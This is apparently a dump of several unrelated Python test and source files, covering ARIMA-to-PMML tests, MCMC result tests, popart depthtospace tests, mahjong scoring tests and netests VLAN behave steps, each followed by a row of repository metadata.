def test_non_seasonal_arima16(self):
ts_data = self.getData4()
f_name='non_seasonal_arima16.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css', solver = 'powell')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima17(self):
ts_data = self.getData4()
f_name='non_seasonal_arima17.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css', solver = 'cg')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima18(self):
ts_data = self.getData4()
f_name='non_seasonal_arima18.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css', solver = 'ncg')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
#Seasonal Arima Test cases
def test_seasonal_arima1(self):
ts_data = self.getData5()
f_name='seasonal_arima1.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = True,
time_varying_regression = True,
mle_regression = False,
simple_differencing = True,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = True,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_seasonal_arima2(self):
ts_data = self.getData5()
f_name='seasonal_arima2.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = True,
time_varying_regression = True,
mle_regression = False,
simple_differencing = False,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = False,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_seasonal_arima3(self):
ts_data = self.getData5()
f_name='seasonal_arima3.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = True,
time_varying_regression = False,
mle_regression = True,
simple_differencing = True,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = True,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_seasonal_arima4(self):
ts_data = self.getData5()
f_name='seasonal_arima4.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = True,
time_varying_regression = False,
mle_regression = True,
simple_differencing = False,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = False,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_seasonal_arima5(self):
ts_data = self.getData5()
f_name='seasonal_arima5.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = False,
time_varying_regression = True,
mle_regression = False,
simple_differencing = True,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = True,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_seasonal_arima6(self):
ts_data = self.getData5()
f_name='seasonal_arima6.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = False,
time_varying_regression = True,
mle_regression = False,
simple_differencing = False,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = False,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_seasonal_arima7(self):
ts_data = self.getData5()
f_name='seasonal_arima7.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = False,
time_varying_regression = False,
mle_regression = True,
simple_differencing = True,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = True,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_seasonal_arima8(self):
ts_data = self.getData5()
f_name='seasonal_arima8.pmml'
model = sarimax.SARIMAX(endog = ts_data,
exog = None,
order = (3, 1, 1),
seasonal_order = (3, 1, 1, 12),
trend = 't',
measurement_error = False,
time_varying_regression = False,
mle_regression = True,
simple_differencing = False,
enforce_stationarity = False,
enforce_invertibility = False,
hamilton_representation = False,
concentrate_scale = False)
result = model.fit(disp=False)
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
if __name__=='__main__':
unittest.main(warnings='ignore')
| 45.808709 | 145 | 0.502122 | 2,936 | 29,455 | 4.830381 | 0.145777 | 0.04689 | 0.031025 | 0.043435 | 0.838528 | 0.833028 | 0.821041 | 0.821041 | 0.753067 | 0.702651 | 0 | 0.069766 | 0.404855 | 29,455 | 642 | 146 | 45.880062 | 0.739247 | 0.012494 | 0 | 0.733333 | 0 | 0 | 0.053312 | 0.032194 | 0 | 0 | 0 | 0 | 0.079279 | 1 | 0.088288 | false | 0.003604 | 0.016216 | 0 | 0.115315 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2760d1073882aa43bfaa33d967fa5d78a00ceb7a | 6,385 | py | Python | tests/test_result_file.py | rgreen1995/PTMCMCSampler | 3260a48bf34f78511381cf0c8aeaa8ec2ce81f10 | [
"MIT"
] | 1 | 2019-07-22T09:19:03.000Z | 2019-07-22T09:19:03.000Z | tests/test_result_file.py | rgreen1995/PTMCMCSampler | 3260a48bf34f78511381cf0c8aeaa8ec2ce81f10 | [
"MIT"
] | 36 | 2019-07-04T14:31:37.000Z | 2019-07-30T09:29:32.000Z | tests/test_result_file.py | rgreen1995/PTMCMCSampler | 3260a48bf34f78511381cf0c8aeaa8ec2ce81f10 | [
"MIT"
] | 2 | 2019-07-04T12:43:12.000Z | 2019-07-23T08:48:35.000Z | import pytest
import numpy as np
import matplotlib
import corner
import os
from PTMCMCSampler.result import Result
class BaseResult(object):
"""Base class for Result object
"""
def test_samples(self):
"""Test that the samples property returns what it should
"""
result_values = self.result.samples.all()
assert result_values == self.initial_samples[:, self.burnin:].all()
def test_likelihood_value(self):
"""Test that the likelihood property returns what it should
"""
result_values = self.result.likelihood_values.all()
true_values = self.initial_likelihood_vals[:, self.burnin:].all()
assert result_values == true_values
def test_prior_value(self):
"""Test that the likelihood property returns what it should
"""
result_values = self.result.prior_values.all()
assert result_values == self.initial_prior_vals[:, self.burnin:].all()
def test_set_burnin(self):
"""Test the function `set_burnin`
"""
assert self.result.burnin == self.burnin
self.result.set_burnin(500)
assert self.result.burnin == 500
self.result.set_burnin(500.0)
assert self.result.burnin == 500
self.result.set_burnin(None)
assert self.result.burnin == int(0.25 * len(self.initial_samples))
self.result.set_burnin(self.burnin)
assert self.result.burnin == self.burnin
def test_save(self):
"""Test the function `save`
"""
self.result.save(outfile="test.txt")
assert os.path.isfile("test_chain0.txt")
if self.result.num_chains == 2:
assert os.path.isfile("test_chain1.txt")
def test_plot_chains(self):
"""Test the function `plot_chains`
"""
assert isinstance(self.result.plot_chains(), matplotlib.figure.Figure)
def test_plot_corner(self):
"""Test the function `plot_corner`
"""
assert isinstance(self.result.plot_corner(), matplotlib.figure.Figure)
class TestResult1d(BaseResult):
"""Class to test the Result object for 1 cold chains
"""
def setup(self):
"""Setup the Result object
"""
self.n_cold_chains = 1
self.initial_samples = np.array([np.array(
[np.random.random(2) for i in range(1000)])] * self.n_cold_chains)
self.initial_likelihood_vals = np.array([np.array(
[np.random.random(1) for i in range(1000)])] * self.n_cold_chains)
self.initial_prior_vals = np.array([np.array(
[np.random.random(1) for i in range(1000)])] * self.n_cold_chains)
self.burnin = 100
self.result = Result(
self.initial_samples, burnin=self.burnin,
initial_likelihood_vals=self.initial_likelihood_vals,
initial_prior_vals=self.initial_prior_vals,
num_chains=self.n_cold_chains
)
def teardown(self):
"""Remove the files generated by the `save` function
"""
if os.path.isfile("test_chain0.txt"):
os.remove("test_chain0.txt")
def test_set_burnin(self):
"""Test the function `set_burnin`
"""
super(TestResult1d, self).test_set_burnin()
def test_save(self):
"""Test the function `save`
"""
super(TestResult1d, self).test_save()
def test_samples(self):
"""Test that the samples property returns what it should
"""
super(TestResult1d, self).test_samples()
def test_likelihood_value(self):
"""Test that the likelihood property returns what it should
"""
super(TestResult1d, self).test_likelihood_value()
def test_prior_value(self):
"""Test that the likelihood property returns what it should
"""
super(TestResult1d, self).test_prior_value()
def test_plot_chains(self):
"""Test that we can produce a chain plot
"""
super(TestResult1d, self).test_plot_chains()
def test_plot_corner(self):
"""Test that we can produce a corner plot
"""
super(TestResult1d, self).test_plot_corner()
class TestResult2d(BaseResult):
"""Class to test the Result object for 2 cold chains
"""
def setup(self):
"""Setup the Result object
"""
self.n_cold_chains = 2
self.initial_samples = np.array([np.array(
[np.random.random(2) for i in range(1000)])] * self.n_cold_chains)
self.initial_likelihood_vals = np.array([np.array(
[np.random.random(1) for i in range(1000)])] * self.n_cold_chains)
self.initial_prior_vals = np.array([np.array(
[np.random.random(1) for i in range(1000)])] * self.n_cold_chains)
self.burnin = 100
self.result = Result(
self.initial_samples, burnin=self.burnin,
initial_likelihood_vals=self.initial_likelihood_vals,
initial_prior_vals=self.initial_prior_vals,
num_chains=self.n_cold_chains
)
def teardown(self):
"""Remove the files generated by the `save` function
"""
if os.path.isfile("test_chain0.txt"):
os.remove("test_chain0.txt")
if os.path.isfile("test_chain1.txt"):
os.remove("test_chain1.txt")
def test_set_burnin(self):
"""Test the function `set_burnin`
"""
super(TestResult2d, self).test_set_burnin()
def test_save(self):
"""Test the function `save`
"""
super(TestResult2d, self).test_save()
def test_samples(self):
"""Test that the samples property returns what it should
"""
super(TestResult2d, self).test_samples()
def test_likelihood_value(self):
"""Test that the likelihood property returns what it should
"""
super(TestResult2d, self).test_likelihood_value()
def test_prior_value(self):
"""Test that the likelihood property returns what it should
"""
super(TestResult2d, self).test_prior_value()
def test_plot_chains(self):
"""Test that we can produce a chain plot
"""
super(TestResult2d, self).test_plot_chains()
def test_plot_corner(self):
"""Test that we can produce a corner plot
"""
super(TestResult2d, self).test_plot_corner()
| 33.429319 | 78 | 0.625529 | 802 | 6,385 | 4.798005 | 0.104738 | 0.072765 | 0.040541 | 0.038981 | 0.851091 | 0.808212 | 0.740385 | 0.723753 | 0.703482 | 0.658264 | 0 | 0.017227 | 0.263587 | 6,385 | 190 | 79 | 33.605263 | 0.801148 | 0.218794 | 0 | 0.548077 | 0 | 0 | 0.026457 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 1 | 0.240385 | false | 0 | 0.057692 | 0 | 0.326923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
279ad5e228c4f2d1e0d4aea9db9284fb97bdb6d4 | 10,699 | py | Python | tests/integration/operators_test/depthtospace_test.py | gglin001/popart | 3225214343f6d98550b6620e809a3544e8bcbfc6 | [
"MIT"
] | 61 | 2020-07-06T17:11:46.000Z | 2022-03-12T14:42:51.000Z | tests/integration/operators_test/depthtospace_test.py | gglin001/popart | 3225214343f6d98550b6620e809a3544e8bcbfc6 | [
"MIT"
] | 1 | 2021-02-25T01:30:29.000Z | 2021-11-09T11:13:14.000Z | tests/integration/operators_test/depthtospace_test.py | gglin001/popart | 3225214343f6d98550b6620e809a3544e8bcbfc6 | [
"MIT"
] | 6 | 2020-07-15T12:33:13.000Z | 2021-11-07T06:55:00.000Z | # Copyright (c) 2020 Graphcore Ltd. All rights reserved.
import numpy as np
import popart
import torch
from op_tester import op_tester
def test_depthtospace(op_tester):
# create test data
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o = builder.aiOnnxOpset11.depthtospace([i1],
blocksize=blocks,
mode="CRD")
builder.addOutputTensor(o)
return [o]
def reference(ref_data):
tx = torch.tensor(d1)
d_shape = tx.size()
txr = torch.reshape(
tx, (d_shape[0], d_shape[1] //
(blocks * blocks), blocks, blocks, d_shape[2], d_shape[3]))
txrp = txr.permute(0, 1, 4, 2, 5, 3)
out = torch.reshape(
txrp,
(d_shape[0], d_shape[1] //
(blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks))
return [out]
op_tester.run(init_builder, reference, 'infer')
def test_depthtospace1(op_tester):
# create test data
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o = builder.aiOnnxOpset11.depthtospace([i1],
blocksize=blocks,
mode="DCR")
builder.addOutputTensor(o)
return [o]
def reference(ref_data):
tx = torch.tensor(d1)
d_shape = tx.size()
txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] //
(blocks * blocks), d_shape[2], d_shape[3]))
txrp = txr.permute(0, 3, 4, 1, 5, 2)
out = torch.reshape(
txrp,
(d_shape[0], d_shape[1] //
(blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks))
return [out]
op_tester.run(init_builder, reference, 'infer')
def test_depthtospace_opset1(op_tester):
# create test data
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
# Opset6 uses v 1
o = builder.aiOnnxOpset6.depthtospace([i1], blocksize=blocks)
builder.addOutputTensor(o)
return [o]
def reference(ref_data):
tx = torch.tensor(d1)
d_shape = tx.size()
txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] //
(blocks * blocks), d_shape[2], d_shape[3]))
txrp = txr.permute(0, 3, 4, 1, 5, 2)
out = torch.reshape(
txrp,
(d_shape[0], d_shape[1] //
(blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks))
return [out]
op_tester.run(init_builder, reference, 'infer')
def test_depthtospace_custom_op(op_tester):
# create test data
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o = builder.aiGraphcore.depthtospace([i1],
blocksize=blocks,
mode="DCR")
builder.addOutputTensor(o)
return [o]
def reference(ref_data):
tx = torch.tensor(d1)
d_shape = tx.size()
txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] //
(blocks * blocks), d_shape[2], d_shape[3]))
txrp = txr.permute(0, 3, 4, 1, 5, 2)
out = torch.reshape(
txrp,
(d_shape[0], d_shape[1] //
(blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks))
return [out]
op_tester.run(init_builder, reference, 'infer')
def test_depthtospace_grad0(op_tester):
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o = builder.aiOnnxOpset11.depthtospace([i1],
blocksize=blocks,
mode="CRD")
builder.addOutputTensor(o)
return [
o,
popart.reservedGradientPrefix() + i1,
popart.reservedGradientPrefix() + o,
]
def reference(ref_data):
tx = torch.tensor(d1, requires_grad=True)
d_shape = tx.size()
txr = torch.reshape(
tx, (d_shape[0], d_shape[1] //
(blocks * blocks), blocks, blocks, d_shape[2], d_shape[3]))
txrp = txr.permute(0, 1, 4, 2, 5, 3)
out = torch.reshape(
txrp,
(d_shape[0], d_shape[1] //
(blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks))
d__o = ref_data.getOutputTensorGrad(0)
out.backward(torch.tensor(d__o))
return [out, tx.grad, None]
op_tester.run(init_builder, reference, 'train')
def test_depthtospace_grad1(op_tester):
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o = builder.aiOnnxOpset11.depthtospace([i1],
blocksize=blocks,
mode="DCR")
builder.addOutputTensor(o)
return [
o,
popart.reservedGradientPrefix() + i1,
popart.reservedGradientPrefix() + o,
]
def reference(ref_data):
tx = torch.tensor(d1, requires_grad=True)
d_shape = tx.size()
txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] //
(blocks * blocks), d_shape[2], d_shape[3]))
txrp = txr.permute(0, 3, 4, 1, 5, 2)
out = torch.reshape(
txrp,
(d_shape[0], d_shape[1] //
(blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks))
d__o = ref_data.getOutputTensorGrad(0)
out.backward(torch.tensor(d__o))
return [out, tx.grad, None]
op_tester.run(init_builder, reference, 'train')
def test_spacetodepth0(op_tester):
# create test data
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
blocks = 2
# SpaceToDepth is the reverse transformation of DepthToSpace.
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o1 = builder.aiOnnxOpset11.depthtospace([i1],
blocksize=blocks,
mode="DCR")
o2 = builder.aiOnnx.spacetodepth([o1], blocksize=blocks)
builder.addOutputTensor(o2)
return [o2]
def reference(ref_data):
return [d1]
op_tester.run(init_builder, reference, 'infer')
def test_spacetodepth1(op_tester):
# create test data
d1 = np.random.rand(1, 2, 4, 6).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o = builder.aiOnnx.spacetodepth([i1], blocksize=blocks)
builder.addOutputTensor(o)
return [o]
def reference(ref_data):
tx = torch.tensor(d1)
d_shape = tx.size()
txr = torch.reshape(tx, (d_shape[0], d_shape[1], d_shape[2] // blocks,
blocks, d_shape[3] // blocks, blocks))
txrp = txr.permute(0, 3, 5, 1, 2, 4)
out = torch.reshape(txrp, (d_shape[0], d_shape[1] * blocks * blocks,
d_shape[2] // blocks, d_shape[3] // blocks))
return [out]
op_tester.run(init_builder, reference, 'infer')
def test_spacetodepth_grad1(op_tester):
d1 = np.random.rand(1, 2, 4, 6).astype(np.float32)
blocks = 2
def init_builder(builder):
i1 = builder.addInputTensor(d1)
o = builder.aiOnnx.spacetodepth([i1], blocksize=blocks)
builder.addOutputTensor(o)
return [
o,
popart.reservedGradientPrefix() + i1,
popart.reservedGradientPrefix() + o,
]
def reference(ref_data):
tx = torch.tensor(d1, requires_grad=True)
d_shape = tx.size()
txr = torch.reshape(tx, (d_shape[0], d_shape[1], d_shape[2] // blocks,
blocks, d_shape[3] // blocks, blocks))
txrp = txr.permute(0, 3, 5, 1, 2, 4)
out = torch.reshape(txrp, (d_shape[0], d_shape[1] * blocks * blocks,
d_shape[2] // blocks, d_shape[3] // blocks))
d__o = ref_data.getOutputTensorGrad(0)
out.backward(torch.tensor(d__o))
return [out, tx.grad, None]
op_tester.run(init_builder, reference, 'train')
def test_pixelshuffle0(op_tester):
# depthtospace CRD onnx should be same as PixelShuffle pytorch.
# create test data
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
d2 = np.random.rand(1, 9, 4, 4).astype(np.float32)
block1 = 2
block2 = 3
testData = [d1, d2]
blocks = [block1, block2]
for di, blocki in zip(testData, blocks):
def init_builder(builder):
i1 = builder.addInputTensor(di)
o = builder.aiOnnxOpset11.depthtospace([i1],
blocksize=blocki,
mode="CRD")
builder.addOutputTensor(o)
return [o]
def reference(ref_data):
tx = torch.tensor(di)
pixel_shuffle = torch.nn.PixelShuffle(blocki)
out = pixel_shuffle(tx)
return [out]
op_tester.run(init_builder, reference, 'infer')
def test_pixelshuffle_custom(op_tester):
# depthtospace CRD onnx should be same as PixelShuffle pytorch.
# create test data
d1 = np.random.rand(1, 8, 2, 3).astype(np.float32)
d2 = np.random.rand(1, 9, 4, 4).astype(np.float32)
block1 = 2
block2 = 3
testData = [d1, d2]
blocks = [block1, block2]
for di, blocki in zip(testData, blocks):
def init_builder(builder):
i1 = builder.addInputTensor(di)
o = builder.aiGraphcoreOpset1.depthtospace([i1],
blocksize=blocki,
mode="CRD")
builder.addOutputTensor(o)
return [o]
def reference(ref_data):
tx = torch.tensor(di)
pixel_shuffle = torch.nn.PixelShuffle(blocki)
out = pixel_shuffle(tx)
return [out]
op_tester.run(init_builder, reference, 'infer')
| 33.965079 | 79 | 0.538275 | 1,274 | 10,699 | 4.387755 | 0.087912 | 0.077281 | 0.060107 | 0.064401 | 0.916279 | 0.916279 | 0.913953 | 0.913953 | 0.892487 | 0.884794 | 0 | 0.043577 | 0.341527 | 10,699 | 314 | 80 | 34.073248 | 0.749894 | 0.036452 | 0 | 0.894309 | 0 | 0 | 0.007674 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.134146 | false | 0 | 0.01626 | 0.004065 | 0.239837 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
27d81aedc1358d7cf3be0f750049a9fb55ea5d47 | 2,640 | py | Python | mahjonggscoring/rules/test/test_two_concealed_kongs.py | kajiki/py-mahjongg-scoring | b23202de018a8206a4be5594247faa0754e7e54e | [
"MIT"
] | null | null | null | mahjonggscoring/rules/test/test_two_concealed_kongs.py | kajiki/py-mahjongg-scoring | b23202de018a8206a4be5594247faa0754e7e54e | [
"MIT"
] | null | null | null | mahjonggscoring/rules/test/test_two_concealed_kongs.py | kajiki/py-mahjongg-scoring | b23202de018a8206a4be5594247faa0754e7e54e | [
"MIT"
] | null | null | null | import unittest2
from mahjonggscoring.rules import TwoConcealedKongs
from mahjonggscoring import Hand
class TestTwoConcealedKongsPartial(unittest2.TestCase):
def setUp(self):
data = [["W", "W", "W"], ["8#", "8#", "8#", "8#"], ["3#", "3#", "3#", "3#"], ["2/", "2/", "2/"], ["3●", "3●"]]
hand = Hand(data, {"concealed": [False, True, True, True, False]})
self.examination = TwoConcealedKongs(hand)
self.passed = self.examination.evaluate()
def test_passed(self):
self.assertTrue(self.passed)
def test_points(self):
self.assertEqual(self.examination.points, 8)
class TestTwoConcealedKongsAll(unittest2.TestCase):
def setUp(self):
data = [["W", "W", "W"], ["8#", "8#", "8#", "8#"], ["3#", "3#", "3#", "3#"], ["2/", "2/", "2/"], ["3●", "3●"]]
hand = Hand(data, {"concealed": True})
self.examination = TwoConcealedKongs(hand)
self.passed = self.examination.evaluate()
def test_passed(self):
self.assertTrue(self.passed)
def test_points(self):
self.assertEqual(self.examination.points, 8)
class TestNotTwoConcealedKongs(unittest2.TestCase):
def test_not_kong(self):
data = [["6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]]
hand = Hand(data, {"concealed": [False, True, True, True, False]})
self.examination = TwoConcealedKongs(hand)
self.passed = self.examination.evaluate()
self.assertFalse(self.passed)
def test_none_concealed(self):
data = [["6/", "6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]]
hand = Hand(data)
self.examination = TwoConcealedKongs(hand)
self.passed = self.examination.evaluate()
def test_no_concealed_kongs(self):
data = [["6/", "6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]]
hand = Hand(data, {"concealed": [False, True, False, True, False]})
self.examination = TwoConcealedKongs(hand)
self.passed = self.examination.evaluate()
self.assertFalse(self.passed)
def test_one_concealed(self):
data = [["6/", "6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]]
hand = Hand(data, {"concealed": [True, True, False, True, False]})
self.examination = TwoConcealedKongs(hand)
self.passed = self.examination.evaluate()
self.assertFalse(self.passed)
def test_special_hand(self):
data = [["5/", "5/", "3/", "3/", "7/", "7/", "8/", "8/", "6/", "6/", "7/", "7/", "5/", "5/"]]
hand = Hand(data)
self.examination = TwoConcealedKongs(hand)
self.passed = self.examination.evaluate()
self.assertFalse(self.passed)
if __name__ == '__main__':
unittest2.main() | 39.402985 | 112 | 0.586364 | 341 | 2,640 | 4.483871 | 0.13783 | 0.156965 | 0.015697 | 0.164814 | 0.815566 | 0.805101 | 0.805101 | 0.805101 | 0.805101 | 0.801177 | 0 | 0.04141 | 0.140152 | 2,640 | 67 | 113 | 39.402985 | 0.630396 | 0 | 0 | 0.672727 | 0 | 0 | 0.093904 | 0 | 0 | 0 | 0 | 0 | 0.145455 | 1 | 0.2 | false | 0.272727 | 0.054545 | 0 | 0.309091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
27e564cf742af0722d9c6383fba57e7c562b3e57 | 99 | py | Python | brainlit/preprocessing/__init__.py | NeuroDataDesign/brainl | fc99f59a9d835039dac713a028ac2521ac217e95 | [
"Apache-2.0"
] | null | null | null | brainlit/preprocessing/__init__.py | NeuroDataDesign/brainl | fc99f59a9d835039dac713a028ac2521ac217e95 | [
"Apache-2.0"
] | 6 | 2020-01-31T22:21:10.000Z | 2020-01-31T22:24:59.000Z | brainlit/preprocessing/__init__.py | NeuroDataDesign/brainl | fc99f59a9d835039dac713a028ac2521ac217e95 | [
"Apache-2.0"
] | null | null | null | from brainlit.preprocessing.image_process import *
from brainlit.preprocessing.preprocess import *
| 33 | 50 | 0.858586 | 11 | 99 | 7.636364 | 0.636364 | 0.285714 | 0.595238 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080808 | 99 | 2 | 51 | 49.5 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
27ea017c6957aa455a13e3aca71358ec164e0aa1 | 15,531 | py | Python | tests/features/steps/vlan_tests.py | Netests/netests | 1a48bda461761c4ec854d6fa0c38629049009a4a | [
"MIT"
] | 14 | 2020-06-08T07:34:59.000Z | 2022-03-14T08:52:03.000Z | tests/features/steps/vlan_tests.py | Netests/netests | 1a48bda461761c4ec854d6fa0c38629049009a4a | [
"MIT"
] | null | null | null | tests/features/steps/vlan_tests.py | Netests/netests | 1a48bda461761c4ec854d6fa0c38629049009a4a | [
"MIT"
] | 3 | 2020-06-19T03:57:05.000Z | 2020-06-22T22:46:42.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from behave import given, when, then
from netests.comparators.vlan_compare import _compare_vlan
from netests.protocols.ipv4 import IPV4, IPV4Interface
from netests.protocols.ipv6 import IPV6, IPV6Interface
from netests.protocols.vlan import VLAN, ListVLAN
from netests.converters.vlan.cumulus.ssh import _cumulus_vlan_ssh_converter
from netests.constants import NOT_SET, VLAN_DATA_HOST_KEY, FEATURES_SRC_PATH
from netests.tools.file import open_file, open_json_file
@given(u'A network protocols named VLAN defined in netests/protocols/vlan.py')
def step_impl(context):
context.test_not_implemented = list()
@given(u'I create a VLAN object equals to Arista manually named o0001')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Arista API output named o0002')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Arista Netconf named o0003')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Arista SSH output named o0004')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object equals to Cumulus manually named o0101')
def step_impl(context):
context.o0101 = ListVLAN(
vlan_lst=list()
)
context.o0101.vlan_lst.append(
VLAN(
id="999",
name="NETESTS_VLAN_MGMT",
vrf_name=NOT_SET,
ipv4_addresses=IPV4Interface(
ipv4_addresses=[
IPV4(
ip_address="192.168.1.1",
netmask="255.255.255.0"
)
]
),
ipv6_addresses=IPV6Interface(
ipv6_addresses=[
IPV6(
ip_address="2001:cafe::1",
netmask="64"
)
]
),
assigned_ports=['swp1', 'swp2', 'swp3'],
options={}
)
)
@given(u'I create a VLAN object from a Cumulus API output named o0102')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Cumulus Netconf named o0103')
def step_impl(context):
context.scenario.tags.append("own_skipped")
@given(u'I create a VLAN object from a Cumulus SSH output named o0104')
def step_impl(context):
context.o0104 = _cumulus_vlan_ssh_converter(
hostname="leaf01",
cmd_output=open_json_file(
path=(
f"{FEATURES_SRC_PATH}outputs/vlan/cumulus/ssh/"
"cumulus_ssh_net_show_interface_all.json"
)
),
options={}
)
@given(u'I create a VLAN object equals to Extreme VSP manually named o0201')
def step_impl(context):
context.scenario.tags.append("own_skipped")
